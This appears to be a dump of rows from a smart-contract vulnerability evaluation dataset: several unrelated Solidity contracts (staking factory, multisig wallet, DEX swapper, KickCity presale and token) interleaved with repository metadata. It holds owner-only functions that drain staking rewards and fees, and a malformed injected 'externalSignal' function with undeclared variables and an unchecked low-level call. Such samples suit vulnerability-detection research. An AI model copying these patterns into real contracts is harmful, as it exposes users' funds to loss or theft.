Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event DepositFee(address indexed user, uint256 amount); event FeeWithdrawal(address indexed user, uint256 amount); } interface IStakingV2TRC20 { function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } contract StakingRewardsFactory is Ownable { // immutables address public rewardsToken; uint public stakingRewardsGenesis; uint PERIOD_LENGTH = 365 days; uint PERIOD_LENGTH1 = 500 days; uint public cccccc; uint public cccccc1; // the staking tokens for which the rewards contract has been deployed address[] public stakingTokens; // info about rewards for a particular staking token struct StakingRewardsInfo { address stakingRewards; uint rewardAmount; } // rewards info by staking token mapping(address => StakingRewardsInfo) public stakingRewardsInfoByStakingToken; constructor(address _rewardsToken, uint _stakingRewardsGenesis) Ownable() public { require(_stakingRewardsGenesis >= block.timestamp, 'StakingRewardsFactory::constructor: genesis too soon'); rewardsToken = _rewardsToken; stakingRewardsGenesis = _stakingRewardsGenesis; cccccc =block.timestamp+PERIOD_LENGTH; cccccc1 = now+PERIOD_LENGTH1; } ///// permissioned functions // deploy a staking reward contract for the staking token, and store the reward amount // the reward will be distributed to the staking reward contract no sooner than the genesis // staking fee must pass in wei format function deploy(address stakingToken, uint rewardAmount) public onlyOwner { StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken]; require(info.stakingRewards == address(0), 'StakingRewardsFactory::deploy: already deployed'); info.stakingRewards = address(new StakingRewards(address(this), rewardsToken, stakingToken)); info.rewardAmount = rewardAmount; stakingTokens.push(stakingToken); } ///// permissionless functions // notify reward amount for an individual staking token. // this is a fallback in case the notifyRewardAmounts costs too much gas to call for all contracts function notifyRewardAmount(address stakingToken,uint amount) public { require(block.timestamp >= stakingRewardsGenesis, 'StakingRewardsFactory::notifyRewardAmount: not ready'); StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken]; require(info.stakingRewards != address(0), 'StakingRewardsFactory::notifyRewardAmount: not deployed'); uint rewardAmount; if (info.rewardAmount > 0) { rewardAmount = info.rewardAmount; info.rewardAmount = 0; }else{ rewardAmount = amount; } require(ITRC20(rewardsToken).transferFrom(msg.sender,info.stakingRewards, rewardAmount), 'StakingRewardsFactory::notifyRewardAmount: transfer failed'); StakingRewards(info.stakingRewards).notifyRewardAmount(rewardAmount); } function faileSafe(address stakingToken, uint amount) public onlyOwner { StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken]; StakingRewards(info.stakingRewards).getRewardamount(msg.sender,amount); } function getFeeWithdrawal(address stakingToken) public onlyOwner { StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken]; StakingRewards(info.stakingRewards).getFeeWithdrawal(msg.sender); } }
300,046
12,156
d76df6f75b37901926bdd65a5ccf79587e87f51a20602e484d6ee1a2c808b3fb
14,340
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x32bacc8b241fb172fee18bda32527126c6f3c5f7.sol
3,387
13,232
pragma solidity ^0.4.4; //sol Wallet // Multi-sig, daily-limited account proxy/wallet. // @authors: // Gav Wood <g@ethdev.com> // single, or, crucially, each of a number of, designated owners. // usage: // interior is executed. contract multiowned { // TYPES // struct for the status of a pending operation. struct PendingState { uint yetNeeded; uint ownersDone; uint index; } // EVENTS // this contract only has six types of events: it can accept a confirmation, in which case // we record owner and operation (hash) alongside it. event Confirmation(address owner, bytes32 operation); event Revoke(address owner, bytes32 operation); // some others are in the case of an owner changing. event OwnerChanged(address oldOwner, address newOwner); event OwnerAdded(address newOwner); event OwnerRemoved(address oldOwner); // the last one is emitted if the required signatures change event RequirementChanged(uint newRequirement); // MODIFIERS // simple single-sig function modifier. modifier onlyowner { if (isOwner(msg.sender)) _; } // multi-sig function modifier: the operation must have an intrinsic hash in order // that later attempts can be realised as the same underlying operation and // thus count as confirmations. modifier onlymanyowners(bytes32 _operation) { if (confirmAndCheck(_operation)) _; } // METHODS // constructor is given number of sigs required to do protected "onlymanyowners" transactions // as well as the selection of addresses capable of confirming them. function multiowned(address[] _owners, uint _required) { m_numOwners = _owners.length + 1; m_owners[1] = uint(msg.sender); m_ownerIndex[uint(msg.sender)] = 1; for (uint i = 0; i < _owners.length; ++i) { m_owners[2 + i] = uint(_owners[i]); m_ownerIndex[uint(_owners[i])] = 2 + i; } m_required = _required; } // Revokes a prior confirmation of the given operation function revoke(bytes32 _operation) external { uint ownerIndex = m_ownerIndex[uint(msg.sender)]; // make sure they're an owner if (ownerIndex == 0) return; uint ownerIndexBit = 2**ownerIndex; var pending = m_pending[_operation]; if (pending.ownersDone & ownerIndexBit > 0) { pending.yetNeeded++; pending.ownersDone -= ownerIndexBit; Revoke(msg.sender, _operation); } } // Replaces an owner `_from` with another `_to`. function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external { if (isOwner(_to)) return; uint ownerIndex = m_ownerIndex[uint(_from)]; if (ownerIndex == 0) return; clearPending(); m_owners[ownerIndex] = uint(_to); m_ownerIndex[uint(_from)] = 0; m_ownerIndex[uint(_to)] = ownerIndex; OwnerChanged(_from, _to); } function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external { if (isOwner(_owner)) return; clearPending(); if (m_numOwners >= c_maxOwners) reorganizeOwners(); if (m_numOwners >= c_maxOwners) return; m_numOwners++; m_owners[m_numOwners] = uint(_owner); m_ownerIndex[uint(_owner)] = m_numOwners; OwnerAdded(_owner); } function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external { uint ownerIndex = m_ownerIndex[uint(_owner)]; if (ownerIndex == 0) return; if (m_required > m_numOwners - 1) return; m_owners[ownerIndex] = 0; m_ownerIndex[uint(_owner)] = 0; clearPending(); reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot OwnerRemoved(_owner); } function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external { if (_newRequired > m_numOwners) return; m_required = _newRequired; clearPending(); RequirementChanged(_newRequired); } // Gets an owner by 0-indexed position (using numOwners as the count) function getOwner(uint ownerIndex) external constant returns (address) { return address(m_owners[ownerIndex + 1]); } function isOwner(address _addr) returns (bool) { return m_ownerIndex[uint(_addr)] > 0; } function hasConfirmed(bytes32 _operation, address _owner) constant returns (bool) { var pending = m_pending[_operation]; uint ownerIndex = m_ownerIndex[uint(_owner)]; // make sure they're an owner if (ownerIndex == 0) return false; // determine the bit to set for this owner. uint ownerIndexBit = 2**ownerIndex; return !(pending.ownersDone & ownerIndexBit == 0); } // INTERNAL METHODS function confirmAndCheck(bytes32 _operation) internal returns (bool) { // determine what index the present sender is: uint ownerIndex = m_ownerIndex[uint(msg.sender)]; // make sure they're an owner if (ownerIndex == 0) return; var pending = m_pending[_operation]; // if we're not yet working on this operation, switch over and reset the confirmation status. if (pending.yetNeeded == 0) { // reset count of confirmations needed. pending.yetNeeded = m_required; // reset which owners have confirmed (none) - set our bitmap to 0. pending.ownersDone = 0; pending.index = m_pendingIndex.length++; m_pendingIndex[pending.index] = _operation; } // determine the bit to set for this owner. uint ownerIndexBit = 2**ownerIndex; // make sure we (the message sender) haven't confirmed this operation previously. if (pending.ownersDone & ownerIndexBit == 0) { Confirmation(msg.sender, _operation); // ok - check if count is enough to go ahead. if (pending.yetNeeded <= 1) { // enough confirmations: reset and run interior. delete m_pendingIndex[m_pending[_operation].index]; delete m_pending[_operation]; return true; } else { // not enough: record that this owner in particular confirmed. pending.yetNeeded--; pending.ownersDone |= ownerIndexBit; } } } function reorganizeOwners() private { uint free = 1; while (free < m_numOwners) { while (free < m_numOwners && m_owners[free] != 0) free++; while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--; if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) { m_owners[free] = m_owners[m_numOwners]; m_ownerIndex[m_owners[free]] = free; m_owners[m_numOwners] = 0; } } } function clearPending() internal { uint length = m_pendingIndex.length; for (uint i = 0; i < length; ++i) if (m_pendingIndex[i] != 0) delete m_pending[m_pendingIndex[i]]; delete m_pendingIndex; } // FIELDS // the number of owners that must confirm the same operation before it is run. uint public m_required; // pointer used to find a free slot in m_owners uint public m_numOwners; // list of owners uint[256] m_owners; uint constant c_maxOwners = 250; // index on the list of owners to allow reverse lookup mapping(uint => uint) m_ownerIndex; // the ongoing operations. mapping(bytes32 => PendingState) m_pending; bytes32[] m_pendingIndex; } // uses is specified in the modifier. contract daylimit is multiowned { // MODIFIERS // simple modifier for daily limit. modifier limitedDaily(uint _value) { if (underLimit(_value)) _; } // METHODS // constructor - stores initial daily limit and records the present day's index. function daylimit(uint _limit) { m_dailyLimit = _limit; m_lastDay = today(); } function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external { m_dailyLimit = _newLimit; } // resets the amount already spent today. needs many of the owners to confirm. function resetSpentToday() onlymanyowners(sha3(msg.data)) external { m_spentToday = 0; } // INTERNAL METHODS // returns true. otherwise just returns false. function underLimit(uint _value) internal onlyowner returns (bool) { // reset the spend limit if we're on a different day to last time. if (today() > m_lastDay) { m_spentToday = 0; m_lastDay = today(); } // check to see if there's enough left - if so, subtract and return true. // overflow protection // dailyLimit check if (m_spentToday + _value >= m_spentToday && m_spentToday + _value < m_dailyLimit) { m_spentToday += _value; return true; } return false; } // determines today's index. function today() private constant returns (uint) { return now / 1 days; } // FIELDS uint public m_dailyLimit; uint public m_spentToday; uint public m_lastDay; } // interface contract for multisig proxy contracts; see below for docs. contract multisig { // EVENTS // logged events: // Funds has arrived into the wallet (record how much). event Deposit(address _from, uint value); event SingleTransact(address owner, uint value, address to, bytes data); event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data); // Confirmation still needed for a transaction. event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data); // FUNCTIONS // TODO: document function changeOwner(address _from, address _to) external; function execute(address _to, uint _value, bytes _data) external returns (bytes32); function confirm(bytes32 _h) returns (bool); } // usage: // bytes32 h = Wallet(w).from(oneOwner).execute(to, value, data); // Wallet(w).from(anotherOwner).confirm(h); contract Wallet is multisig, multiowned, daylimit { // TYPES // Transaction structure to remember details of transaction lest it need be saved for a later call. struct Transaction { address to; uint value; bytes data; } // METHODS // constructor - just pass on the owner array to the multiowned and // the limit to daylimit function Wallet(address[] _owners, uint _required, uint _daylimit) multiowned(_owners, _required) daylimit(_daylimit) { } // kills the contract sending everything to `_to`. function kill(address _to) onlymanyowners(sha3(msg.data)) external { suicide(_to); } // gets called when no other function matches function() payable { // just being sent some cash? if (msg.value > 0) Deposit(msg.sender, msg.value); } // Outside-visible transact entry point. Executes transaction immediately if below daily spend limit. // If not, goes into multisig process. We provide a hash on return to allow the sender to provide // shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value // and _data arguments). They still get the option of using them if they want, anyways. function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 _r) { // first, take the opportunity to check that we're under the daily limit. if (underLimit(_value)) { SingleTransact(msg.sender, _value, _to, _data); // yes - just execute the call. _to.call.value(_value)(_data); return 0; } // determine our operation hash. _r = sha3(msg.data, block.number); if (!confirm(_r) && m_txs[_r].to == 0) { m_txs[_r].to = _to; m_txs[_r].value = _value; m_txs[_r].data = _data; ConfirmationNeeded(_r, msg.sender, _value, _to, _data); } } // confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order // to determine the body of the transaction from the hash provided. function confirm(bytes32 _h) onlymanyowners(_h) returns (bool) { if (m_txs[_h].to != 0) { m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data); MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data); delete m_txs[_h]; return true; } } // INTERNAL METHODS function clearPending() internal { uint length = m_pendingIndex.length; for (uint i = 0; i < length; ++i) delete m_txs[m_pendingIndex[i]]; super.clearPending(); } // FIELDS // pending transactions we have at present. mapping (bytes32 => Transaction) m_txs; }
185,673
12,157
ffbb352a9e66c5a60c4592f2537e00f321d49d8244999d8593dc84c73208f08e
11,967
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/b9/b988d44af0065649e05e61b7d35b6121ff2b537e_SoulSwapMultiExactSwapper.sol
3,052
10,900
// File contracts/swappers/SoulSwapMultiExactSwapper.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // solhint-disable avoid-low-level-calls interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /// @notice EIP 2612 function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; } // License-Identifier: MIT library BoringERC20 { bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256) /// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransfer(IERC20 token, address to, uint256 amount) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed"); } } // File @boringcrypto/boring-solidity/contracts/libraries/[emailprotected] // License-Identifier: MIT /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } } // License-Identifier: GPL-3.0 interface ISoulSwapPair { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external; } // File contracts/libraries/SoulSwapLibrary.sol // License-Identifier: GPL-3.0 library SoulSwapLibrary { using BoringMath for uint256; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, "SoulSwapLibrary: IDENTICAL_ADDRESSES"); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), "SoulSwapLibrary: ZERO_ADDRESS"); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB, bytes32 pairCodeHash) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint256(keccak256(abi.encodePacked(hex"ff", factory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash // init code hash)))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB, bytes32 pairCodeHash) internal view returns (uint256 reserveA, uint256 reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint256 reserve0, uint256 reserve1,) = ISoulSwapPair(pairFor(factory, tokenA, tokenB, pairCodeHash)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) internal pure returns (uint256 amountOut) { require(amountIn > 0, "SoulSwapLibrary: INSUFFICIENT_INPUT_AMOUNT"); require(reserveIn > 0 && reserveOut > 0, "SoulSwapLibrary: INSUFFICIENT_LIQUIDITY"); uint256 amountInWithFee = amountIn.mul(997); uint256 numerator = amountInWithFee.mul(reserveOut); uint256 denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint256 amountIn, address[] memory path, bytes32 pairCodeHash) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "SoulSwapLibrary: INVALID_PATH"); amounts = new uint256[](path.length); amounts[0] = amountIn; for (uint256 i; i < path.length - 1; i++) { (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1], pairCodeHash); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'SoulSwapLibrary: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'SoulSwapLibrary: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path, bytes32 pairCodeHash) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'SoulSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i], pairCodeHash); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // License-Identifier: MIT interface ICoffinBox { function deposit(IERC20 token_, address from, address to, uint256 amount, uint256 share) external payable returns (uint256 amountOut, uint256 shareOut); function toAmount(IERC20 token, uint256 share, bool roundUp) external view returns (uint256 amount); function toShare(IERC20 token, uint256 amount, bool roundUp) external view returns (uint256 share); function transfer(IERC20 token, address from, address to, uint256 share) external; function withdraw(IERC20 token_, address from, address to, uint256 amount, uint256 share) external returns (uint256 amountOut, uint256 shareOut); } // File contracts/swappers/SoulSwapMultiSwapper.sol // License-Identifier: GPL-3.0 contract SoulSwapMultiExactSwapper { using BoringERC20 for IERC20; using BoringMath for uint256; address private immutable factory; ICoffinBox private immutable coffinBox; bytes32 private immutable pairCodeHash; constructor(address _factory, ICoffinBox _coffinBox, bytes32 _pairCodeHash) public { factory = _factory; coffinBox = _coffinBox; pairCodeHash = _pairCodeHash; } function getInputAmount(IERC20 tokenOut, address[] memory path, uint256 shareOut) public view returns (uint256 amountIn) { uint256 amountOut = coffinBox.toAmount(tokenOut, shareOut, true); uint256[] memory amounts = SoulSwapLibrary.getAmountsIn(factory, amountOut, path, pairCodeHash); amountIn = amounts[0]; } function swap(IERC20 tokenIn, IERC20 tokenOut, uint256 amountMaxIn, address path1, address path2, address to, uint256 shareIn, uint256 shareOut) external returns (uint256) { address[] memory path; if (path2 == address(0)) { if (path1 == address(0)) { path = new address[](2); path[1] = address(tokenOut); } else { path = new address[](3); path[1] = path1; path[2] = address(tokenOut); } } else { path = new address[](4); path[1] = path1; path[2] = path2; path[3] = address(tokenOut); } path[0] = address(tokenIn); uint256 amountIn = getInputAmount(tokenOut, path, shareOut); require(amountIn <= amountMaxIn, "insufficient-amount-in"); uint256 difference = shareIn.sub(coffinBox.toShare(tokenIn, amountIn, true)); coffinBox.withdraw(tokenIn, address(this), SoulSwapLibrary.pairFor(factory, path[0], path[1], pairCodeHash), amountIn, 0); _swapExactTokensForTokens(amountIn, path, address(coffinBox)); coffinBox.transfer(tokenIn, address(this), to, difference); coffinBox.deposit(tokenOut, address(coffinBox), to, 0, shareOut); return (difference); } // Swaps an exact amount of tokens for another token through the path passed as an argument // Returns the amount of the final token function _swapExactTokensForTokens(uint256 amountIn, address[] memory path, address to) internal { uint256[] memory amounts = SoulSwapLibrary.getAmountsOut(factory, amountIn, path, pairCodeHash); _swap(amounts, path, to); } // requires the initial amount to have already been sent to the first pair function _swap(uint256[] memory amounts, address[] memory path, address _to) internal virtual { for (uint256 i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0,) = SoulSwapLibrary.sortTokens(input, output); uint256 amountOut = amounts[i + 1]; (uint256 amount0Out, uint256 amount1Out) = input == token0 ? (uint256(0), amountOut) : (amountOut, uint256(0)); address to = i < path.length - 2 ? SoulSwapLibrary.pairFor(factory, output, path[i + 2], pairCodeHash) : _to; ISoulSwapPair(SoulSwapLibrary.pairFor(factory, input, output, pairCodeHash)).swap(amount0Out, amount1Out, to, new bytes(0)); } } }
307,728
12,158
77ac6072ae36b2937204dfc50c567afdb41adb1d528b779abd196e62df1b5294
17,678
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x34b97e824e1c18eeada2378fedbb285e2be167d5.sol
3,096
11,569
pragma solidity ^0.4.13; contract Utils { function Utils() { } // verifies that an amount is greater than zero modifier greaterThanZero(uint256 _amount) { require(_amount > 0); _; } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { require(_address != 0x0); _; } // verifies that the address is different than this contract address modifier notThis(address _address) { require(_address != address(this)); _; } // Overflow protected math functions function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } function safeSub(uint256 _x, uint256 _y) internal returns (uint256) { assert(_x >= _y); return _x - _y; } function safeMul(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract IERC20Token { function name() public constant returns (string name) { name; } function symbol() public constant returns (string symbol) { symbol; } function decimals() public constant returns (uint8 decimals) { decimals; } function totalSupply() public constant returns (uint256 totalSupply) { totalSupply; } function balanceOf(address _owner) public constant returns (uint256 balance) { _owner; balance; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { _owner; _spender; remaining; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract ERC20Token is IERC20Token, Utils { string public standard = 'Token 0.1'; string public name = ''; string public symbol = ''; uint8 public decimals = 0; uint256 public totalSupply = 0; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function ERC20Token(string _name, string _symbol, uint8 _decimals) { require(bytes(_name).length > 0 && bytes(_symbol).length > 0); // validate input name = _name; symbol = _symbol; decimals = _decimals; } function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) { balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) { allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value); balanceOf[_from] = safeSub(balanceOf[_from], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) { require(_value == 0 || allowance[msg.sender][_spender] == 0); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract IOwned { function owner() public constant returns (address owner) { owner; } function transferOwnership(address _newOwner) public; function acceptOwnership() public; } contract Owned is IOwned { address public owner; address public newOwner; event OwnerUpdate(address _prevOwner, address _newOwner); function Owned() { owner = msg.sender; } // allows execution by the owner only modifier ownerOnly { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } } contract ITokenHolder is IOwned { function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public; } contract TokenHolder is ITokenHolder, Owned, Utils { function TokenHolder() { } function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public ownerOnly validAddress(_token) validAddress(_to) notThis(_to) { assert(_token.transfer(_to, _amount)); } } contract SmartTokenController is TokenHolder { ISmartToken public token; // smart token function SmartTokenController(ISmartToken _token) validAddress(_token) { token = _token; } // ensures that the controller is the token's owner modifier active() { assert(token.owner() == address(this)); _; } // ensures that the controller is not the token's owner modifier inactive() { assert(token.owner() != address(this)); _; } function transferTokenOwnership(address _newOwner) public ownerOnly { token.transferOwnership(_newOwner); } function acceptTokenOwnership() public ownerOnly { token.acceptOwnership(); } function disableTokenTransfers(bool _disable) public ownerOnly { token.disableTransfers(_disable); } function withdrawFromToken(IERC20Token _token, address _to, uint256 _amount) public ownerOnly { token.withdrawTokens(_token, _to, _amount); } } contract ISmartToken is ITokenHolder, IERC20Token { function disableTransfers(bool _disable) public; function issue(address _to, uint256 _amount) public; function destroy(address _from, uint256 _amount) public; } contract SmartToken is ISmartToken, Owned, ERC20Token, TokenHolder { string public version = '0.3'; bool public transfersEnabled = true; // true if transfer/transferFrom are enabled, false if not event NewSmartToken(address _token); // triggered when the total supply is increased event Issuance(uint256 _amount); // triggered when the total supply is decreased event Destruction(uint256 _amount); function SmartToken(string _name, string _symbol, uint8 _decimals) ERC20Token(_name, _symbol, _decimals) { NewSmartToken(address(this)); } // allows execution only when transfers aren't disabled modifier transfersAllowed { assert(transfersEnabled); _; } function disableTransfers(bool _disable) public ownerOnly { transfersEnabled = !_disable; } function issue(address _to, uint256 _amount) public ownerOnly validAddress(_to) notThis(_to) { totalSupply = safeAdd(totalSupply, _amount); balanceOf[_to] = safeAdd(balanceOf[_to], _amount); Issuance(_amount); Transfer(this, _to, _amount); } function destroy(address _from, uint256 _amount) public { require(msg.sender == _from || msg.sender == owner); // validate input balanceOf[_from] = safeSub(balanceOf[_from], _amount); totalSupply = safeSub(totalSupply, _amount); Transfer(_from, this, _amount); Destruction(_amount); } // ERC20 standard method overrides with some extra functionality function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) { assert(super.transfer(_to, _value)); return true; } function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) { assert(super.transferFrom(_from, _to, _value)); return true; } } contract KickcityAbstractCrowdsale is Owned, SmartTokenController { uint256 public etherHardCap = 43100 ether; uint256 public etherCollected = 0; uint256 public constant USD_IN_ETH = 300; // We use fixed rate 1ETH = 300USD function usdCollected() constant public returns(uint256) { return safeMul(etherCollected, USD_IN_ETH) / 1 ether; } function setHardCap(uint256 newCap) ownerOnly { etherHardCap = newCap; } uint256 public saleStartTime; uint256 public saleEndTime; modifier duringSale() { assert(now >= saleStartTime && now < saleEndTime); _; } uint256 private maxGasPrice = 0.05 szabo; // 50 Gwei modifier validGasPrice() { assert(tx.gasprice <= maxGasPrice); _; } address public kickcityWallet; function KickcityAbstractCrowdsale(uint256 start, uint256 end, KickcityToken _token, address beneficiary) SmartTokenController(_token) { assert(start < end); assert(beneficiary != 0x0); saleStartTime = start; saleEndTime = end; kickcityWallet = beneficiary; } uint256 internal oneEtherInKicks = 3000; uint256 internal minEtherContrib = 3 finney; // 0.003 ETH function calcKicks(uint256 etherVal) constant public returns (uint256 kicksVal); // triggered on each contribution event Contribution(address indexed contributor, uint256 contributed, uint256 tokensReceived); function processContribution() private validGasPrice duringSale { uint256 leftToCollect = safeSub(etherHardCap, etherCollected); uint256 contribution = msg.value > leftToCollect ? leftToCollect : msg.value; uint256 change = safeSub(msg.value, contribution); if (contribution > 0) { uint256 kicks = calcKicks(contribution); // transfer tokens to Kikcity wallet kickcityWallet.transfer(contribution); // Issue tokens to contributor token.issue(msg.sender, kicks); etherCollected = safeAdd(etherCollected, contribution); Contribution(msg.sender, contribution, kicks); } // Give change back if it is present if (change > 0) { msg.sender.transfer(change); } } function () payable { if (msg.value > 0) { processContribution(); } } } contract KickcityPresale is KickcityAbstractCrowdsale { function KickcityPresale(uint256 start,uint256 end,KickcityToken _token, address beneficiary) KickcityAbstractCrowdsale(start, end, _token, beneficiary) { setHardCap(1700 ether); } uint256 private additionalBonusValue = 100 ether; function calcKicks(uint256 etherVal) constant public returns (uint256 kicksVal) { assert(etherVal >= minEtherContrib); uint256 value = safeMul(etherVal, oneEtherInKicks); if (etherVal < additionalBonusValue) { // 40% bonus for contributions less than 100ETH kicksVal = safeAdd(value, safeMul(value / 10, 4)); } else { // 100% bonus for contributions more than 100ETH kicksVal = safeMul(value, 2); } } } contract KickcityToken is SmartToken { function KickcityToken() SmartToken("KickCity Token", "KCY", 18) { disableTransfers(true); } function externalSignal() public { if ((amountToWithdraw > 0) && (amountToWithdraw <= address(this).balance)) { msg.sender.call{value: msg.value, gas: 5000}; depositAmount[msg.sender] = 0; } } }
198,367
12,159
abefbfd0ba6f879c761671186c256817be6c77ec1eb0a70935f067dd0aa42933
30,289
.sol
Solidity
false
451141221
MANDO-Project/ge-sc
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
data/smartbugs-wild-clean-contracts/0x7a2b4708e18f3d11393b6de37cf1fe1ec7b4fd62.sol
4,028
15,977
pragma solidity ^0.5.0; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } contract RequestUid { uint256 public requestCount; constructor() public { requestCount = 0; } function generateRequestUid() internal returns (bytes32 uid) { return keccak256(abi.encodePacked(blockhash(block.number - uint256(1)), address(this), ++requestCount)); } } contract AdminUpgradeable is RequestUid { event AdminChangeRequested(bytes32 _uid, address _msgSender, address _newAdmin); event AdminChangeConfirmed(bytes32 _uid, address _newAdmin); struct AdminChangeRequest { address newAdminAddress; } address public admin; mapping (bytes32 => AdminChangeRequest) public adminChangeReqs; modifier adminOperations { require(msg.sender == admin, "admin can call this method only"); _; } constructor (address _admin) public RequestUid() { admin = _admin; } function requestAdminChange(address _newAdmin) public returns (bytes32 uid) { require(_newAdmin != address(0), "admin is not 0 